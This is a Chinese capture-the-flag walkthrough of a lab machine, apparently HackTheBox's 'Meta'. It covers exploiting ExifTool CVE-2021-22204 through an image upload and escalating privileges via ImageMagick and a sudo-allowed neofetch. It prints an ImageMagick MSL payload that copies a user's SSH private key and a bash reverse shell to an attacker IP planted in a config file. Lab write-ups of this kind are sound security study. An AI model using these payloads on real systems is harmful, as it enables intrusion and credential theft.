0x01 前言#
靶机 ip:10.10.11.140。
本机 ip:10.10.16.6,mac m1。
0x02 信息收集#
端口扫描只开放了 22、80 端口。
访问 10.10.11.140 的 80 端口,直接跳转到http://artcorp.htb/,但此时无法访问,设置 hosts 看看,设置完之后访问。
gobuster vhost -u artcorp.htb -w /Users/grayash/pentesting/web-basic/p12-字典收集/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
访问 metaview,有一个文件上传点。
随意上传一张图片试试。
通过简单的信息搜集,发现上述图片是 exiftools 解析后的内容。
0x03 漏洞利用#
这个地方可以 rce,cve 编号是 CVE-2021-22204。
exp:
由于 mac 上这个漏洞复现不好安装复现需要的 exiftool 工具,所以切换到 kali 上操作。
kali 的 ip 是:10.10.14.14。
exp 中的 ip 设置成 kali 的 ip。
运行 exp 文件,生成 image.jpg。
kali 上开启监听。
nc -nlvp 9090
访问http://dev01.artcorp.htb/metaview/,然后上传上面生成的 image.jpg,成功反弹会 shell。
交互式终端设置。
python3 -c "import pty;pty.spawn('/bin/bash')"
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm
0x04 提权#
当前权限 www-data,无权限查看 user.txt 文件。
find / -perm -4000 -type f 2>/dev/null
pspy64 查看系统上运行的进程,发现一个 sh 脚本 convert_images.sh,看看这个脚本是什么内容。
内容如下:
mogrify 命令的功能是按规定尺寸制作一个图像,模糊,裁剪,抖动等。Mogrify 改写最初的图像文件然后写到一个不同的图像文件。
参考这篇文章:
https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
<image authenticate='ff" `echo $(cat /home/thomas/.ssh/id_rsa)> /dev/shm/key`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
将这个 ssh 密钥放到 kali 家目录下的.ssh 目录下,文件名为 id_rsa,需要注意 id_rsa 的格式不能有空格且文件的权限为 400。
然后通过 id_rsa 证书 ssh 登录,获取 user.txt。
ssh -i id_rsa [email protected]
接下来,提权到 root 权限。
直接 sudo -l 走起,发现其有权限执行下面的命令。
(root) NOPASSWD: /usr/bin/neofetch \"\"
运行 neofetch 命令,效果如下:
通过https://gtfobins.github.io/#neo 这个网站知道,如果该文件运行以 sudo 权限运行,那么就可以利用 sudo 来进行提权。
再一次查看 sudo -l 的配置文件,有一个环境变量 XDG_CONFIG_HOME,我们可以利用当 neofetch 读取环境变量的配置文件的时候,在配置文件中写入反弹 shell 的代码,当 neofetch 程序执行时,反弹 shell。
具体操作如下:
1、先准备一个反弹 shell 的脚本。
bash -c 'exec bash -i &>/dev/tcp/10.10.14.14/1234 <&1'
2、写入 /home/thomas/.config/neofetch/config.conf 的头部。
3、导入环境变量
export XDG_CONFIG_HOME="$HOME/.config"
4、nc 监听
nc -nlvp 1234
5、执行 neofetch。
sudo -u root /usr/bin/neofetch \"\"
成功反弹回 shell,获取到 root.txt。
0x05 总结#
1、找了半天的 CVE-2021-22204 的靶机,都没能找到,有几个 docker 的还没搭建起来,刚好学习了如何利用 CVE-2021-22204 漏洞。
2、了解了通过 ImageMagick 进行权限提升。